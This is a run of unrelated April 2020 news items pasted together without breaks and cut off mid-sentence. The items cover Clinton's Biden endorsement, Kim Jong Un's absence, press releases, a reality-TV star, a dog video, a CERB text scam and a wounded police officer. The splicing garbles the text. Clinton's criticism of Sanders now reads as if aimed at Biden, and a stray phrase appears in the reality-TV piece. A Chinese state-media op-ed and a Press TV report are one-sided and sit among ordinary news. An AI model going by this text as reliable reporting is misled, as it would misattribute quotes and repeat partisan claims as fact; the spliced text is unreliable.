Sad 0 Angry 0 Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Hillary Clinton Endorses Joe Biden for President Former Secretary of State and 2016 candidate Hillary Clinton endorsed presumptive Democratic nominee Joe Biden for president, coming days after former President Barack Obama did the same. I am thrilled to be part of your campaignto not only endorse you but to help highlight a lot of the issues that are at stake, she said during a virtual town hall on the impact of COVID-19 on women. Clinton for months said that she would back the eventual Democratic nominee. The endorsement may give a boost to Biden, who has struggled to stay relevant amid the pandemic, but it will also give President Donald Trump and Republicans a new angle to attack. There is no greater concentration of Democrat establishment than Joe Biden and Hillary Clinton together, Trump campaign manager Brad Parscale wrote in a statement on Tuesday. President Trump beat her once and now hell beat her chosen candidate. It comes days after Obama, Sen. Elizabeth Warren (D-Mass.), and Sen. Bernie Sanders (I-Vt.) all endorsed Biden earlier this month. Sanders bowed out of the race earlier in April before endorsing Biden, after he took losses in several key states, including most of the Super Tuesday nominating contests. Clinton, meanwhile, has made few comments on candidates during the Democratic presidential primary fight, although she offered critical words against Sanders, whom she had faced in 2016 during the primary. She also made a veiled critical comment about Rep. Tulsi Gabbard (D-Hawaii), who filed a lawsuit against her in January. Im just watching and hoping that we nominate whoever is the strongest candidate to take out the current incumbent, Clinton also told an ABC News interviewer in March. Thats the only thing that really matters at the end of the day. During Super Tuesday, she praised Biden, 77, and said that he has the experience to be president, while criticizing Sanders. A screenshot of Democratic presidential candidate former Vice President Joe Bidens virtual campaign event in Chicago, Ill., on March 13, 2020. (Scott Olson/Getty Images) He was in Congress for years. He had one senator support him. Nobody likes him, nobody wants to work with him, he got nothing done, Clinton said in the documentary months before that. He was a career politician. Its all just baloney and I feel so bad that people got sucked into it. When she was asked about those comments in early March, Clinton said that was my authentic opinion then adding: Its my authentic opinion now. Four years ago, Biden had considered running against Clinton and later said that the former first lady failed to reach many middle-class voters. Clinton also admitted that she wanted to run against Biden in 2019. Other top Democrats, including House Speaker Nancy Pelosi of California, former Vice President Al Gore, and Gov. Jay Inslee of Washington have recently thrown their weight behind Biden in recent days. Clinton made the comments during a live-streamed meeting with Biden. The former vice president has been relegated to holding online events after announcing that he would suspend holding in-person rallies amid the CCP (Chinese Communist Party) pandemic. Biden has also been dogged by an allegation from a former staffer, Tara Reade, who claimed then-Sen. Biden sexually assaulted her in the early 1990s. The former vice president has remained silent on the matter, and no one in the media has asked him a direct question about her, although his campaign has categorically denied Reades claims. Reades claims gained more weight after a Larry King Live clip from 1993 resurfaced, appearing to include Reades mother alluding to problems that her daughter faced while she worked for Biden. What is clear about this claim: it is untrue. This absolutely did not happen, a campaign spokesperson told news outlets earlier this month. By Hyonhee Shin and Mark Hosenball SEOUL/WASHINGTON (Reuters) - Fear of the coronavirus could have been keeping North Korean leader Kim Jong Un out of public sight since mid-April, a South Korean minister and U.S. sources said on Tuesday, following intense speculation and concern as to his whereabouts and health. Under Kim's rule since 2011, North Korea has expanded its arsenal of nuclear weapons and long-range missiles, and with no obvious successor, any change in leadership in the secretive, authoritarian state would raise concerns about instability that could impact other North Asian countries and the United States. Speculation about Kim's health erupted after his unprecedented absence from April 15 celebrations to mark the birthday of his late grandfather and North Korea's founder, Kim Il Sung. South Korean Unification Minister Kim Yeon-chul, who oversees engagement with North Korea, said it was plausible Kim that decided against attending due to the coronavirus, given stringent steps his government has taken to head off an outbreak. "He had never missed the anniversary for Kim Il Sung's birthday since he took power, but many anniversary events including celebrations and a banquet had been cancelled because of coronavirus concerns," the minister told a parliamentary hearing. "I don't think that's particularly unusual given the current (coronavirus) situation," the minister said, although North Korea has said it has no confirmed cases of the coronavirus. An authoritative source familiar with U.S. intelligence assessments said credible reports to the U.S government suggested the reason Kim's presidential train had been spotted near a presidential retreat at the resort of Wonsan last week was that Kim had been staying there to avoid catching the virus. U.S. government experts lacked categorical evidence to prove this, but were for the most part dismissing media reports suggesting that Kim had contracted some kind of serious illness, the source said. Story continues Kim Yeon-chul described reports that Kim had undergone a heart procedure, and that a Chinese medical team had travelled to North Korea, as "fake news." A U.S. official, who spoke on condition of anonymity, said Washington's view was largely in line with the South Korean minister's assessment. U.S. President Donald Trump said on Monday he has a good idea of how Kim Jong Un is doing and hopes he is fine, but would not elaborate. Trump has met Kim three times in an attempt to persuade him to give up a nuclear weapons program that threatens the United States as well as its Asian neighbours. While talks have stalled, Trump has continued to hail Kim as a friend. TRAIN AND BOAT WATCHING The South Korean minister noted that there had been at least two instances since mid-January when Kim Jong Un had not been seen in public for nearly 20 days. The last time official media in North Korea reported on Kim's whereabouts was when he presided over a meeting on April 11, but there have been near-daily reports of him sending letters and diplomatic messages. South Korean officials have said they have detected no unusual movements in North Korea and have cautioned against reports that Kim may be ill. Washington-based North Korea monitoring project 38 North said on Saturday satellite images from last week showed a special train that was probably Kim's at Wonsan, lending weight to reports he had been spending time in the resort area. On Tuesday, the website NK News said leisure boats often used by Kim off the coast of Wonsan had been active throughout this month, indicating his likely continued presence in the area. Reuters reported on Saturday that China had dispatched a team to North Korea, including medical experts to advise on Kim Jong Un, though it was unclear what the trip signalled in terms of his health. Japanese Prime Minister Shinzo Abe said he was paying close attention to developments. North Korea has responded to the global coronavirus pandemic by cancelling some large events and imposing a border lockdown and quarantine measures. If Kim Jong Un is hiding out due to fears surrounding COVID-19, it would "puncture a hole in the state media narrative of how this crisis has been perfectly managed", said Chad O'Carroll, CEO of Korea Risk Group, which monitors North Korea. "If he is merely trying to avoid infection, it should theoretically be very easy to release photos or videos of a healthy looking Kim," he said. (Reporting by Hyonhee Shin, Josh Smith and Sangmi Cha in Seoul, and Mark Hosenball, Matt Spetalnick and David Brunnstrom in Washington; Editing by Raju Gopalakrishnan, Simon Cameron-Moore and Sandra Maler) PDF Editors, PDFpen and PDFpenPro 12, now with PDF optimization, a Magnifier window, a Callout tool, and DocuSign support for Pro users SAN FRANCISCO, April 28, 2020 /PRNewswire/ -- Smile, the developer of productivity applications for Mac, iPhone and iPad, launches PDFpen and PDFpenPro 12, a new major version of its all-purpose PDF editing tool for Mac. Version 12 introduces Optimize PDF, a magnifier window, a callout tool, and DocuSign support for Pro users. PDFpen provides a comprehensive document reading, proofing, and navigating experience combined with a variety of editing tools, enabling users to sign PDFs, fill forms, and search and redact sensitive information. Export to Microsoft Word. Fix typos without the original document. Add comments, images and highlight text. Version 12 adds the ability to reduce PDF file sizes as much or as little as needed with a new Optimize PDF feature. The integration of compression methods such as MRC, CCITT reduces the file size while scanning, editing, and saving. Also included, a magnifier window, a callout tool, customized paper styles and orientation selection for new documents, and for Pro users, DocuSign support. "Smaller PDFs and tools to improve collaboration are consistently important in the paperless office," said Philip Goward, Smile founder. "With version 12, we're excited to introduce multiple ways to reduce file sizes, zoom in on details with the magnifier window, collaborate with the callout tool, plus DocuSign support for Pro users along with other improvements to make your PDF editing experience better." PDFpen and PDFpenPro are part of a family of products that includes PDFpen for iPad & iPhone. Documents sync between devices for seamless editing via Dropbox and iCloud. PDFpen is available for 84,95. PDFpenPro is 139,95. Both require macOS 10.13 (High Sierra) or later. Demo versions are available at https://smilesoftware.com/PDFpen PDFpen for iPad & iPhone is 4,99 on the App Store. Press Kit: https://smilesoftware.com/PDFpen/presskit ABOUT SMILE Smile makes clever software for efficient people, including TextExpander, the typing shortcut tool for Mac, Windows, Chrome, iPhone and iPad; PDFpen, the all-purpose Mac PDF editor; and PDFpen for iPad & iPhone, the mobile PDF editor. Free demos of all Smile Mac products are available at https://smilesoftware.com/ CONTACTS: Angel Vu (+1-510-982-1468, EST) PR, Smile E-mail: angel@smilesoftware.com Greg Scown (+1-510-289-4000, PST) Founder, Smile E-mail: greg@smilesoftware.com https://www.smilesoftware.com/ @SmileSoftware Latest News Understanding the 'perfect storm' that was the Sydney property market in 2021 Leading expert reflects on the crazy year that brokers and buyers experienced and throws forward to the 12 months to come How to manage home buyer regret Tips for brokers on how they can keep their clients onside once they have bought The chief executives of Australias banks have made a show of support for the COVIDSafe app just launched by the federal government. The app is intended to help trace the movement of COVID-19 within the country, speeding up the current manual process of finding people who have been in close contact with someone with the virus through automation. According to Australian Banking Association CEO Anna Bligh, the app is an important part of the governments plan to relax restrictions on community movement and reopen the economy. Today [27 April] the CEOs of Australian banks will download the COVIDSafe app and, to protect staff and customers, encourage their staff to do the same, she said. Its important the community embraces this app as a way of improving the ability of our front line health workers to trace contacts of those who have tested positive to COVID-19. Australias banks are right behind efforts to open up the economy in the coming weeks, when healthcare authorities say its safe to do so," said Bligh. NAB also made a public show of support for the app. Its been heartening to see that Australia is flattening the curve and if the COVIDSafe app can play its role in improving community safety, helping reopen businesses and regain some of our normal lives, then thats a good thing for all Australians, said the major banks CEO Ross McEwan. Theres clearly still a long way to go but improvements in contact tracing methods, further development of this app, and more testing of those with symptoms will be important to providing the confidence to slowly loosen restrictions while preserving progress on the health front. McEwan plans to not only download the app himself, but to send a note to the banks 34,000 employees informing them of its release and encouraging them to do the same. This in-house correspondence complements the banks continued communication with its customers, including the more than nine million emails and 200,000 text messages which have been distributed regarding its COVID-19 support measures thus far. Meka Jones and Michael Watsons relationship seemed doomed from the start on Lifetimes Married at First Sight Season 10. Michaels alleged ultimatumthat Meka have sex with him on the honeymoon, or he wouldnt be into the marriagesent the couple packing and staying in separate hotel rooms during their romantic getaway to Panama. After that, things went from bad to worse, as Michaels dishonesty about everything from his job and his past to the mileage on his car wore Meka down and made her increasingly frustrated. Meka decided to call it quits on Decision Day. Recently, the Married at First Sight star took to Instagram to share her candid thoughts about her experience on the showfrom what she wishes shed done differently to how shes made peace with what happened. Meka Jones | MAFS Lifetime via Instagram Meka admitted she wasnt proud of all her behavior on Married at First Sight While dealing with Michaels many lies during Season 10, Meka was sometimes criticized by viewers for being too harsh or aggressive in her arguments with her husband. She even apologized to Michael for sometimes throwing out harsh words or being too blunt and critical in fights on the Married at First Sight reunion episode. Meka reflected on the criticism shed gotten on social media, as well as her entire experience on Married at First Sight, in a recent Instagram post. She captioned a photo of herself, Through the ups and downs, Im grateful to have gotten the opportunity to experience something so unique. I learned so much about myself, how to handle situations better & what I can do to make my next relationship better. The Married at First Sight star continued by admitting that she hadnt been happy with everything shed done and said on the show, especially with the added pressure of filming and the stress of being married to a stranger. Being filmed all the time is not an easy task by any means, and there were definitely moments that Im not proud of, Meka confessed. There were situations I really wish I couldve approached differently and most importantly I wish I hadnt allowed anyone to get me to the level of frustration that was seen on the show. Still, the category analyst wrote, she knew shed done the best she could in a trying situation in most cases. But even with all of my shortcomings and downfalls, I am VERY proud of how I handled my marriage overall. Im proud that I didnt allow myself to be manipulated, gaslighted or a victim. Im proud that I spoke up about the things that bothered me, she wrote. Most of all, Meka added, the show made her realize that no one, and no marriage, was worth sacrificing her self-worth and self-esteem. And most of all, Im proud of myself for knowing my self-worth. It took me so long to get to the point where I could confidently say what I bring to the table & what I deserve so its amazing to see that manifest itself in my marriage, the 25-year-old wrote in an emotional conclusion. She ended the post on an uplifting note, encouraging other women not to settle for poor treatment or dishonesty in their own relationships. & to all of the women that are questioning their self-worth because of what a man has told them, know your worth Queen, Meka wrote. Youre not asking for too much, youre just asking the wrong person. Fans offered support and advice to Meka on social media Most Married at First Sight fans praised Meka for being true to herself and opening up about the vulnerable reality of appearing on reality television, as well as for facing her flaws head-on. Some viewers continued to criticize Meka about her behavior on the show, arguing that she was too harsh with her husband and didnt come across as welcoming. Well, hopefully you find what youre seeking. When you do, please remember not to be so quick to throw him under a bus in front of friends and familySome things between partners in a relationship should stay in a relationship, one critic wrote under her post. Others complimented the Married at First Sight star for being strong and knowing her worth. You personify everything a woman should be, one fan gushed. Youre strong, independent, brave, transparent, bright, beautiful, wise and fearless. You make women WANT to use their voice more. You gave all of us the permission to ask for what we want and know what we deserve. Another viewer praised Mekas class and grace during a situation in which she was entitled to be more than a little frustrated. You had more patience than Michael ever deserved, and displayed nothing but class throughout the whole show, an Instagram user argued. I cant believe the strength it must have taken to keep showing up every day with all you had to deal with. You did it with such resilience, and I love how well-spoken you always were with all you had to go through. The Married at First Sight star seems to be living her best life as a single woman Her arranged marriage might not have turned out as she hoped, but it looks like Meka is living her best life as a single woman, with travel, family, and adventures filling up her calendar in recent months. In addition to a trip to Hawaii with fellow Married at First Sight brides Katie Conrad and Taylor Dunklin, Meka has shared photos of travel to Thailand, California, and plenty of other destinations. The Married at First Sight star headed to Pennsylvania for the holidays, snapping photos with her family in cute matching pajamas. Merry Christmas from your favorite family, she captioned the heartwarming photo. No matter what she went through on Married at First Sight, were sure Meka will continue to thrive and be authentic to herself in any future relationships. VANCOUVER, April 28, 2020 /PRNewswire/ - Equinox Gold Corp. (TSX: EQX, NYSE American: EQX) ("Equinox Gold" or the "Company") today provides an operations update and announces the exercise of warrants. Operations Update The temporary suspension of mining activities at the Company's Los Filos Mine in Guerrero State, Mexico has been extended in compliance with an order by the Federal Government of Mexico extending the suspension of non-essential activities until May 30, 2020, with the potential for earlier start-up on May 18, 2020 in areas with low or no cases of COVID-19. The Company has continued processing solution from the Los Filos heap leach pads and producing gold at a reduced level during the temporary suspension. The Company's Pilar Mine in Goias State, Brazil is ramping up to full operations after a previously announced short-term suspension of mining activities in compliance with a State Government restriction. The Company's other producing mines continue to operate normally with COVID-19 safety and preventive measures in place. Phase 1 construction of the Castle Mountain Gold Mine continues and is approximately 75% complete. Further, the Company continues to advance engineering and economic studies related to the Los Filos carbon-in-leach plant and the Santa Luz restart with the objective of making construction decisions for both projects later this year. The Company is currently unable to determine the potential effects of the COVID-19 pandemic on fiscal 2020 guidance and will provide updates as practical. Equinox Gold continues to enforce stringent operational and safety procedures across the Company to help protect the health and economic wellbeing of its workforce, suppliers and local communities. Warrant Exercise Warrants held by Pacific Road Resources Funds were exercised for net proceeds to Equinox Gold of approximately C$20.7 million on issuance of 4,744,870 common shares of the Company. About Equinox Gold Equinox Gold is a Canadian mining company with six producing gold mines, a multi-million-ounce gold reserve base and a strong growth profile from two development projects and two expansion projects. Equinox Gold operates entirely in the Americas, with two properties in the United States, one in Mexico and five in Brazil. Equinox Gold's common shares are listed on the TSX and the NYSE American under the trading symbol EQX. Further information about Equinox Gold's portfolio of assets and long-term growth strategy is available at www.equinoxgold.com or by email at [email protected]. Cautionary Notes and Forward-looking Statements This news release includes certain statements that constitute "forward-looking statements", and "forward-looking information" within the meaning of applicable securities laws collectively "forward-looking statements". When used in this news release, words such as "will", "potential", "temporary", "continue", "advance", "objective", "growth", and similar expressions are intended to identify these forward-looking statements as well as phrases or statements that certain actions, events or results "may", "could", "would", "should", "occur" or "be achieved" or the negative connotation of such terms. As well, forward-looking statements may relate to future outlook and anticipated events, such as the Company's ability to achieve the 2020 production and cost estimates at its properties, the timing and likelihood of project development, construction and expansion, the Company's plans and protocols with regard to managing potential impacts related to the COVID-19 pandemic, the Company's strategy to help protect the health and economic wellbeing of its workforce and local communities, the Company's business continuity protocols and the potential impact on operations related to COVID-19, the Company's ability to maintain activities and productivity at its operating mines, the Company's ability to successfully resume operations at mines at which operations have been restricted or temporarily suspended, and the Company's ability to advance its development and expansion projects and achieve its growth objectives. These forward-looking statements involve assumptions, numerous risks and uncertainties, certain of which are beyond the Company's control including risks associated with or related to the volatility of metal prices and the Company's shares, there being no significant disruptions affecting the Company's operations or projects, risks related to the COVID-19 pandemic including government and health authority responses and increased regulations and restrictions regarding the flow of labour, materials and impact on the Company's business, projects and operations, as well as the risk factors identified in Equinox Gold's year-end MD&A dated February 28, 2020, which is available on SEDAR at www.sedar.com and EDGAR at www.sec.gov. Forward-looking statements are based on information available at the time those statements are made and/or management's good faith belief as of that time with respect to future events and are subject to risks and uncertainties that could cause actual performance or results to differ materially from those expressed in or suggested by the forward-looking statements. Forward-looking statements speak only as of the date those statements are made. The COVID-19 situation is changing rapidly and Equinox Gold will continue to review and adapt its response protocols as the situation unfolds, applying guidelines outlined by the World Health Organization and governments of countries within which the Company operates. The extent to which COVID-19 (or any other disease, epidemic or pandemic) impacts business activity, operations or financial results, and the duration of any such impact, will depend on future developments that are highly uncertain and cannot be predicted, including new information that may emerge concerning COVID-19 and the actions required to contain or treat its impact, among others. Except as required by applicable law, Equinox Gold assumes no obligation to update or to publicly announce the results of any change to any forward-looking statement contained or incorporated by reference herein to reflect actual results, future events or developments, changes in assumptions or changes in other factors affecting the forward-looking statements. If Equinox Gold updates any one or more forward-looking statements, no inference should be drawn that the Company will make additional updates with respect to those or other forward-looking statements. All forward-looking statements contained in this news release are expressly qualified in their entirety by this cautionary statement. SOURCE Equinox Gold Corp. A negative approach, delayed actions, and incorrect policies resulted in making the U.S. the country that has been worst hit by the COVID-19 outbreak in the world. The U.S. has over 960,000 confirmed cases and 54,000 dead as of April 26, according to Johns Hopkins University data. These figures are not very precise, as the number of tests that have been conducted is limited. It is beyond the capacity of even the developed world to test every single individual, let alone the developing world and underdeveloped countries. The pandemic has already become a terrible threat to humankind. Some countries in Europe have already passed the peak, and the trend of new infections is already on the decline. But the U.S. has not reached this point yet. In Asia and Africa, the pandemic is still in its initial stages. Some experts are predicting a frightening future. Although the Trump administration has recently taken good initiatives, the delay has already caused enormous damage. Timely decisions and the correct policies might have prevented a lot of the suffering. A 2 trillion-dollar package is a very positive step, and other measures have been encouraging. The U.S. is one of the largest economies, the wealthiest nation, and most developed and advanced in science and technology. The U.S. can overcome the epidemic, but it must bear a high cost to do so. The Chinese government and Chinese people have been brave as they took on this formidable task. From the very beginning of the fight against the outbreak, they have put people's lives and health first. They acted according to the overall principle of shoring up confidence, strengthening unity, ensuring science-based control and treatment, and imposed targeted measures. China mobilized the entire nation, set up collective control and treatment mechanisms, and acted with openness and transparency. China has put up a strenuous struggle and made tremendous sacrifices. Now, the situation in China is under control, and life and economic activity are gradually being resumed. Over the last few months, China has been struggling to overcome the epidemic and focused on its goal of saving human beings and containing the virus. China has concentrated all its energies into fighting against COVID-19. The country mobilized all its national resources, and with the support of the public, finally controlled the coronavirus outbreak. The Trump administration failed to help out its allies in their most challenging moments, when Italy, France, UK, Spain, and Germany were facing a severe threat. If the U.S. had helped its allies from the beginning, it might not have spread so widely or even reached the U.S. In fact, when China was suffering from the outbreak, the U.S. was overly engaged in scoring political points by bashing China, criticizing its draconian and authoritative laws, accusing it of not respecting human rights and personal freedom, and generally trying to defame the country. But China ignored pressure from the outside world and focused only on eliminating the epidemic. The U.S. government wasted time, ignored the suffering of the Chinese people and assumed that it would never happen to them. They were relaxed and, to some extent, some U.S. politicians were happy with the loss of human lives and the economic damage China was suffering. Instead, China recovered, and a stable normal situation has almost returned. The U.S. is now facing enormous challenges, especially as it has now become the worst-hit country. During the recent pandemic, "China-Fever" was very evident in the U.S. Had it spent less time on anti-China sentiments and more on controlling the pandemic, the situation might be different. The opinions expressed in this article belong solely to the author, and not necessarily to People's Daily Online. Zamir Ahmed Awan is a senior fellow with the Center for China and Globalization (CCG) and a sinologist at the National University of Sciences and Technology in Pakistan. E-mail: [email protected] A golden retriever has been caught on camera trying to prolong returning home from her daily walk by playing dead. Hilarious footage showed the dog named Elsie lying on the footpath refusing to get up - much to the disappointment of her owner Mike Cook. The owner pulled the dog's lead and looked around embarrassed at passersby over his pooch's actions while on the Gold Coast, in Queensland, on April 12. Eventually Mr Cook dropped the leash and walked away from the dog in the hopes she would follow. Hilarious footage showed the dog laying on the side walk refusing to get up - much to the disappointment of her owner Mike Cook But Elsie stayed put and refused to move. The defeated owner walked back to his dog and picked him up so she was now standing on all fours. Mr Cook grabbed the leash and tried to get the dog walking again but Elsie quickly sat down again. Mr Cook repeatedly tried to get the dog to walk but she flat out refused. Social media users were in stitches over the footage. 'He just wanted five more minutes,' one person said. Eventually the owner dropped the lead and walked away from the dog in the hopes he would follow Another said: 'He really tried to factory reset his dog and it still didn't work.' 'Golden retrievers are the absolute most stubborn dogs in the whole world and I have no idea why people are obsessed with them,' one social media user said. One person said the footage was concerned for the owner as it made him look like he is mistreating the animal when he wasn't. This isn't the first time that Elsie has gone viral for being stubborn and refusing to walk. This isn't the first time that Elsie has gone viral for being stubborn and refusing to walk. In 2017 the petulant pooch caused the scene in front of crowds of people enjoying the sunny weather at Burleigh Hill on Queensland's Gold Coast In 2017 the petulant pooch caused the scene in front of crowds of people enjoying the sunny weather at Burleigh Hill on Queensland's Gold Coast. Video of the event showed Elsie acting very similarly to the most recent footage. A man nearby could be heard saying 'Excuse me sir, I think your dog's broken,' as the canine ignores Mr Cook's best attempts to make it move on. Mr Cook said Elsie can be a little spoiled sometimes and wasn't in the mood to be walking the day the video was captured by his neighbour Kayla Evans. 'We live about 100 metres from where that video was taken, let's put it this way when we turned around to go home, she ran home,' he told the ABC. 'It is what it is, the dog is always up to antics, it's to be expected I suppose. 'Elsie is quite a character, she is a pretty good dog, I would say borderline spoilt, she is very loved and loves adventure.' Ms Evans told Daily Mail Australia she had been at her neighbours when they saw Mr Cook and Elsie. 'Being a designer/photographer I always have my phone on me and try to capture any moments worth sharing so the second I spotted the golden retriever playing up I knew it had to be shared,' she said. 'She dug her feet in and stood her ground for a few minutes, refusing the move in any direction I have a dog back at home who does the same thing when she goes to the vet so for me it was just so lighthearted and so funny.' The full-stack insurtech firm works with leading e-commerce and travel players in Southeast Asia including Bhinneka, Bukalapak, Lazada, RedDoorz, Shippit, and Shopee, as well as regional insurance partners Allianz, Baoviet, FWD Singapore, Mercantile, and Sompo. Since the company was founded in 2016, Igloos insurance products have already benefitted over 15 million customers, effectively protecting over 50 million transactions in the past year (February 2019 to February 2020). The categories include electronics, home, personal accident, and travel. The company was formally rebranded to Igloo from April 2020, across its current markets in Singapore, Indonesia, Malaysia, Thailand, the Philippines, and Australia. Igloo was chosen as it is the existing name of the companys flagship digital insurance product line that caters to Southeast Asia's growing population of digitally-savvy consumers. Igloos Series A+ funding round was led by InVent, the corporate venture capital arm of Intouch Holdings Plc. (SET: INTUCH), an asset management and investment company serving the telecommunications, media, and technology sectors. Intouch Holdings is also known as the parent company of Advanced Info Services Plc. (AIS) and Thaicom Plc., which focuses on investing in new emerging businesses and tech startups. Igloos existing investors Openspace Ventures, a venture capital fund that invests in Southeast Asia, and Linear Capital, a Shanghai-based early-stage venture capital firm focusing on tech-driven startups, also participated in this round. Other new investors include Singtel Innov8, Cathay Innovation, and Partech Partners. Igloo was founded by Wei Zhu, who was previously the CTO of Grab. Wei has over 20 years of technology leadership positions, including in companies such as Facebook and Microsoft. He founded Igloo so that everyone, regardless of their economic background, can protect the things and activities that matter to them with highly customised insurance offerings. With COVID-19 impacting every facet of personal life and business, digitisation can help the world adjust to the new normal. This is especially apparent in insurance, where we can tap into digital channels for distribution and also for creating awareness, said Wei Zhu, Founder, and CEO of Igloo. We see that digital insurance is on the rise in Southeast Asia, and we believe that Igloo, with our digital-first approach and expansion of our product portfolio into personal health, accident, and other related products can help fill those gaps and address consumers needs for personal well-being, he added. Around Igloos funding from several blue chip, strategic investors, Wei Zhu shared that digital insurance penetration is low in the region, at only 6 per cent today. But Igloos digital insurance offering, together with widened distribution networks and partners will make insurance available anytime, anywhere so that consumers can assess it when they need it most. With the fresh funding, Igloo is well-positioned to expand into Vietnam, as well as strengthen its foothold in the Philippines and Thailand, growing its presence in Southeast Asia to six key markets. The additional funding will allow Igloo to reinforce its full-stack capabilities further and focus on continued customer acquisition, dynamic risk assessment, and expedited claims management, all of which will be offered to Igloos insurance partners via an open platform. Igloos best-in-class technology holds numerous patents, including being awarded a patent for its unique screen assessment technology most recently. Igloo will also use the funding to double its business development and engineering teams, across the region, fortifying its Southeast Asian leadership with local expertise to drive highly relevant solutions. At present, Igloo is in advanced discussions with telcos, banks, non-banking financial firms, and online travel agencies (OTAs) in the region to offer products through its marquee insurance partners utilising the state-of-the-art data and technology infrastructure. Dr Narongpon Boonsongpaisan, head of InVent by Intouch Holdings, shared, We are extremely excited to welcome Igloo as the first insurtech in our portfolio. Insurtech companies are at the forefront of driving digital transformation in the digital industry, creating innovative products to serve millennials better. We believe that Igloos advanced tech stack can drive real change in the industry and bring the focus back to consumers needs. Igloos strong business potential lies in Southeast Asias growing digital insurance, currently valued at $2 billion and expected to grow to $8 billion by 2025. This is coupled with an accelerating internet economy that is projected to hit $300 billion in 2025, according to the eConomy SEA 2019 report. Igloo, previously known as Axinan, is the first full-stack insurtech firm to emerge from Singapore. It has offices in Singapore, Indonesia, Malaysia, Thailand, the Philippines, and Australia, and tech centres located in China and Taiwan. With a mission of making insurance accessible for all, the firm leverages big data, real-time risk assessment, and end-to-end automated claims management to create B2B2C insurance solutions for platform companies and insurance companies. Igloos insurance solutions enable companies to eliminate their exposure to operational risk, create new revenue streams, and optimise and enhance existing products and services. Igloo is led by a core team that comprises of top talent from the technology and insurance industries hailing from global corporations including Facebook, Grab, Flipkart, Garena, Manulife, Shopee, Yahoo!, and Zalora. Syria air defenses down Israeli missiles over Damascus Iran Press TV Monday, 27 April 2020 7:10 AM Syrian air defenses have thwarted an Israeli aggression, and shot down a number of "hostile" missiles in the skies over the capital, Damascus, before reaching their targets. The official Syrian Arab News Agency (SANA) said the aggression took place in the early hours of Monday, which left three civilians dead. According to the report, the Israeli missiles came from the Lebanese airspace. Since the start of the foreign-backed war on Syria in 2011, Israel has carried out hundreds of strikes in the country, targeting government troops and their allies. Last Monday, the Syrian air defenses intercepted a number of Israeli missiles over the ancient city of Palmyra in the central province of Homs, and downed "a number of enemy's missiles". Back then, Israeli media claimed that the target site was the T4 base in Homs, a base that Israel has attacked a number of times in the past. Israel's aggressive moves have been viewed by observers as an attempt to weaken the Damascus government as it increasingly gains the upper hand in its fight against terrorist groups. Syria has been gripped by foreign-backed militancy since March 2011. The Syrian government says the Israeli regime and its Western and regional allies are aiding Takfiri terrorist groups that are wreaking havoc in the country. Syrian government forces have taken back many areas once controlled by the terrorist groups. The government and allied forces are currently busy fighting last bastions of militants in the northwestern province of Idlib and areas in the neighboring Aleppo province. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Laura Ryan got a weird text message on her phone one night last week. The St. John's woman said it was from an out-of-province number she didn't recognize, stating she was being sent money from the Canada Emergency Response Benefit a temporary income-support program from the federal government for people who have stopped working due to the COVID-19 pandemic. "I thought it was very strange that I haven't even applied for it and it was for quite a bit of money," she said, noting that it was for more than $1,200. Ryan said she knew right away that it was a scam. "It started off with my own phone number and then at the very end, it had a link that was just essentially a bunch of random letters," she said, noting that it didn't look like a legitimate link from the government of Canada. Ryan didn't respond to the text or click on the link. Instead, she took a screenshot, and deleted it right away. But she said she worries about others who could fall prey to the scam. "It amazes and shocks me that people would have the nerve to go around trying to take money off of people, where most people these days have been either laid off or have just been not going to work because they're non-essential workers, and everybody needs like every dollar that they can get," she said. Ryan is not the only person in the province or the country to receive a text like this. Submitted photo Around the beginning of April, about 450 of the 630 fraud complaints that the Canadian Anti-Fraud Centre had received were related to text message phishing. "The CERB is the big reported scam that we're seeing right now," said Jeff Thomson, the centre's senior RCMP intelligence analyst. Thomson said there's a variety of texts circulating, asking people to click on links to receive their benefit. He said the scammers are using different phrases, like "financial relief," "receive your benefit," or "the CRA is ready to deposit your relief fund," to try to get you to click. "When you click on the link, you're taken to a lookalike Canadian government website, where you're going to be solicited for your personal and financial information so your SIN number, your name, and probably some of your banking information," Thomson said. Story continues "We're not aware of anybody completely following through with the request of providing personal information, but certainly people have clicked on these links." Don't click on links, says CAFC Thomson said if you do get one of these unsolicited texts, don't go to the link. "Any department of the government of Canada is not going to send you a text message like this," he said. Thomson said the telltale sign of a fraudulent text aside from it being unsolicited is that the links aren't for federal government sites. CBC Thomson said it's important to recognize, reject and report. "Be aware of the various methods that fraudsters are going to use to solicit you. Don't respond to unsolicited requests," he said. "Reject, hang up, delete, don't respond and then report [it]." He said the call centre for the Canadian Anti-Fraud Centre is not currently operating, so the best way to report the scam is through its website, and to local police. Read more from CBC Newfoundland and Labrador A Routt Catholic High School graduate is recuperating after being shot and injured while on duty in March as a patrol officer with the Springfield, Missouri, police department. I never lost consciousness, but I did lose all sense of time, Josiah Overton said during a phone conversation Monday morning. The 2013 graduate of Routt and a graduate of Drury University with a degree in criminology, Overton, 25, knew he always wanted a career in law enforcement. He was working an overnight shift 5 p.m. to 3 a.m. March 15 when he was shot. Overton, who has been a patrol officer in the Missouri citys police department for 2 years, took a call around midnight reporting shots fired at a gas station. It was a roving, active shooter and we responded to the call, he said. The first shot hit his protective vest, which stopped the bullet. The second bullet struck below his shoulder blade from behind, traveled through his body and up to his shoulder. A third shot struck nearby, scattering debris that resulted in scarring. I still actually have the bullet inside of me, Overton said of the second shot. Five people died that night, including Overtons fellow police officer, Christopher Walsh, and the gunman, who shot himself. Im super blessed, Overton said of his survival. Overton did not require surgery but has been home tending to his injuries with the help of his fiancee, Abigail McEvers. She has been able to help me with my medical treatment, he said. With the COVID-19 pandemic placing restrictions on work and staying home in Missouri, Overton is more than ready to put his uniform on and get back to work, which he said should be sometime in May. The sooner the better I love my job, he said, adding that he gets to see things others dont and, more importantly, he gets to help others. Overtons parents, Chuck and Renee Overton, knew they might get that call, but they had hoped otherwise. Its a call you know can happen but you just dont expect it, Chuck Overton said of being the proud father to a police officer. My wife and I were in shock, pretty earth-shattering. The call was worse for Josiah Overtons parents because the initial report was that their son had been shot in the head, Chuck Overton said. Updates from Josiah Overtons sergeant kept coming in. The next hour or so we kept getting reports that he actually wasnt shot in the head, Chuck Overton said, adding that they still werent clear on the details. We knew he was going to live, but was he going to be in a wheelchair? Will he be paralyzed? Not knowing the extent was panicky. Zack and Luke Overton both traveled to Springfield with their parents to check on their older brother. Taking two vehicles, their mission was to get to there soon as soon as possible to make sure he was OK, even though Josiah Overton had been able to talk to his parents to let them know he was fine. He said he was OK, but he couldnt convince us until we saw him, his father said. I drove quite fast, I must say. The five-hour 